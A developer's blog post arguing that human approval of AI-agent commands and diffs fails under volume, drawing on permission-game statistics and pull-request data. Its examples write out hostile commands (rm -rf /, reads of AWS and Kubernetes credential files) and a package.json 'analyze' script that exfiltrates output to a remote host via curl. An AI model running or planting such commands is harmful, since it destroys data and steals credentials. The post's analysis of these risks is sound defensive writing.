iskander@ivane:~$
← cd ../posts

I said I read every diff

2026-08-10aireviewopinion

Two weeks ago I wrote that I read every diff an agent produces, and that if a change is too large for me to actually read, that's a signal the change is wrong. I meant it. I still think it's the correct rule.

I've spent this week reading things that suggest I'm probably not doing it, and that almost nobody who says it is doing it either.

The week

Three things landed close enough together to look like a pattern.

Oracle published an interim policy telling OpenJDK contributors that "Contributions in the OpenJDK Community must not include content generated, in part or in full, by large language models, diffusion models, or similar deep-learning systems" — code, text, images, pull requests, mailing list messages, bug tracker issues. Contributors may still use these tools privately to comprehend, debug and review. They just can't submit what comes out. The policy cites reviewer burden, safety and security, and intellectual property. On safety Oracle is unusually blunt: "Plausible-looking but incorrect code would put these critical properties at risk." It hit the Hacker News front page on 7 August, mostly to jeers about the hypocrisy — Oracle is spending $70 billion on AI infrastructure this year, and Larry Ellison has said out loud that Oracle isn't writing Oracle's code.

The hypocrisy is real and also not the interesting part. Read the policy as an engineering document rather than a corporate one and it says something narrower: we do not have enough review capacity to absorb this.

The second thing was Alex Wauters publishing the statistics from his agent-permission game — a browser toy where you play the human-in-the-loop, approving or denying an agent's commands under a clock. Across 40,000 runs and 409,000 individual approve/deny decisions, the average player missed one threat in three. Mean accuracy 66.3%.

The third was going back to LinearB's benchmark data, drawn from 8.1 million pull requests across 4,800 teams. AI-assisted pull requests are about two and a half times larger than unassisted ones — over 400 lines at the 75th percentile against 157. They sit more than sixteen hours before anyone picks them up, against roughly 200 minutes for human-authored work. And then, once someone starts, they get reviewed faster: 194 minutes against 252.

That last pair is the number I can't stop looking at. Bigger changes, waited on longer, reviewed quicker.

What the miss rates actually say

The permission-game breakdown is where this stops being abstract. Miss rate by category:

  • Obviously destructive (rm -rf /, chmod -R 777 /): 11.7%
  • Persistent mutation (crontab injection, git config hijack): 23.8%
  • Exfiltration and code execution (curl to unknown hosts, typosquatted packages): 33.4%
  • Scope violations (cat ~/.aws/credentials, cat ~/.kube/config): 35.0%

We catch the thing that looks like a movie villain and miss the thing that actually takes the credentials, three times as often. That's not a knowledge gap — everyone playing that game knows cat ~/.aws/credentials is bad. It's a shape problem: the dangerous command doesn't look dangerous at a glance, and a glance is what it gets.

The most-missed command of all was npm run analyze, approved 64.7% of the time. The game shows you, in the log directly above the prompt, what the script is:

package.jsonjson
1{
2  "scripts": {
3    "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl -s -X POST https://api.bundle.track/report -d @-"
4  }
5}

The payload is right there. Two thirds of people approved it anyway. Pooled across the three npm run * traps, the miss rate was 52.5% against 28.4% for every other exfiltration-style attack — hiding a payload behind a familiar script name roughly doubles its success rate even when you are shown the payload.

The other side of it matters just as much: benign commands got blocked constantly. npm config set registry https://npm.internal was denied 59% of the time. rm -rf dist/ — clearing a build directory — 45%. Killing the process holding port 3000, 43%. So the same people waving through credential exfiltration are stopping the agent from doing its job three times an hour. That isn't vigilance failing at the margins. That's a control with almost no signal in it, in either direction.

Anthropic's own framing, quoted in that write-up, is the mechanism: the more approvals a user sees, the less attention they pay to each. We built an interface that generates hundreds of low-stakes decisions a day and then designated it the security boundary.

The thing I got wrong about my own rule

I framed "I read every diff" as a discipline problem — something you either have the rigour to do or you don't. It's a rate problem, and rate problems don't respond to resolve.

If AI-assisted pull requests are 2.6x larger and there are more of them, holding review quality constant means my review time scales with a number I don't control. My attention budget is the same as it was in 2019. So something gives, and what gives is depth — silently, with no moment where I decide to be less careful. The LinearB numbers are what that looks like from outside: sixteen hours of hesitation because the change is big, then three hours to get through it, because once you're in it the only way to finish is to stop reading properly.

I also don't trust my own report on this any more, and you shouldn't trust yours. METR ran a randomised trial with sixteen experienced open-source developers across 246 real tasks and found they were 19% slower with AI tools — while estimating afterwards that they'd been 20% faster. METR now labels that result historical, which is fair. The part I'm taking isn't the direction of the effect. It's that expert people were badly wrong about their own recent experience, in the flattering direction. My belief that I read every diff is exactly that kind of belief.

Which is why the OpenJDK ban makes more sense than it sounds

I don't think Oracle's policy is a good general answer. But as a statement about capacity it's coherent in a way most positions on this aren't.

OpenJDK has a fixed, small number of people qualified to review changes to it, and no way to buy more. Contribution volume can now go up by an order of magnitude for free. If your only throttle is reviewer attention and demand on it becomes unbounded, you don't have a quality process any more — you have a queue that emits approvals at a fixed rate regardless of what's in it. Banning the input is crude, and Oracle admits that "reliably distinguishing human-generated content from AI-generated content is impossible", so it's a norm rather than an enforcement mechanism. But it's aimed at the right variable.

Most of what I read this week is aimed at the wrong one. The dominant response to "review is the bottleneck" is more AI on the review side — agents reviewing agents. Some of that helps; a machine reading a 600-line diff for null handling doesn't get tired, and I use tools like that. But it doesn't touch this failure, because the failure isn't that issues go unnoticed. It's that a human still makes the final call, and the final call is what degrades under volume. CodeRabbit — a vendor with an obvious interest, so weigh it accordingly — describes developers reviewing agent code with the same agent that wrote it, then accepting the verdict. That's a fortune cookie, as they put it, and I've done it.

What I'm changing

The rule I'm replacing "I read every diff" with is: anything that depends on me reading carefully at volume is not a control.

Three things follow.

I cap the change, not my effort. If a diff crosses a few hundred lines it goes back to be split, and I've stopped treating that as a favour I'm doing myself. LinearB's 300-line threshold is as good a number as any; the point is that it's enforced by the process rather than by my willpower on a Thursday afternoon.

I've stopped using per-command approval as a security boundary. It never was one — approving npm run build approves whatever package.json currently says, which the agent may have edited two steps ago. Sandboxing, no network by default, no credentials in the environment: those are boundaries, because they hold when I'm not paying attention. The prompt is a notification, and I treat it as one.

And I'm explicit about where the attention goes. Auth, migrations, money, anything touching a trust boundary get read properly, slowly, and I'll block the sprint over them. Everything else gets tests, types and a machine reader — and I've stopped pretending the ceremonial approval I give it is the same activity.

Where I might be wrong

The strongest objection is that my central number comes from a browser game, and the author says so himself. Roughly a third of the commands players saw were threats, against approximately never in real work; there was an artificial clock; and people playing a security game linked from Hacker News are not a sample of anything. Base rates matter enormously for how you read a 33% miss rate, and a real developer with real context about what their agent just did has information no player had. I think the relative ordering survives — nothing about the game explains why credential access is missed three times as often as rm -rf / — but the headline figure is an illustration, not a measurement.

Second, I'm generalising from tooling that is about a year old. It's plausible this gets absorbed by better defaults: sandboxes on by default, agents that can't reach the network, review interfaces that show intent rather than lines. If so, this is a snapshot of an awkward interval and the cost is temporary. I hope that's what it is.

Third, and hardest to dismiss: human review was never as good as we're now nostalgic about it being. I've rubber-stamped plenty of human pull requests — LGTM on a 900-line refactor I opened, scrolled and closed. If the honest baseline is that review was always partly theatre, then AI hasn't broken the safeguard, only made the theatre too obvious to ignore. That's a less dramatic story. It might be the true one, and it lands in the same place: the controls that work are the ones that don't need me paying attention.

The point

One figure I want to name and set aside. The claim circulating hardest this week is that AI has driven pull request review time up 91%. It's everywhere, always sourced to somebody else's summary, and I could not trace it to anyone holding the data. So I'm not using it. The numbers above — 8.1 million pull requests, 409,000 approval decisions, 246 randomised tasks — are the ones I could follow back to whoever collected them.

None of this argues for using these tools less. I'm not going to, and the industry isn't either. It's narrower: "a human reviews it before it ships" is the sentence everyone reaches for when asked what stops this going wrong, and that sentence has been quietly doing more work than the humans in it can carry. I said it myself, in writing, a fortnight ago. I'd rather notice now than after an npm run analyze that wasn't a bundle analyzer.

Sources

Two widely-repeated figures I deliberately left out: "PR review time is up 91%" and "81% of developers are buried in AI code review." Both circulate constantly and neither traces back to anyone who published the underlying data.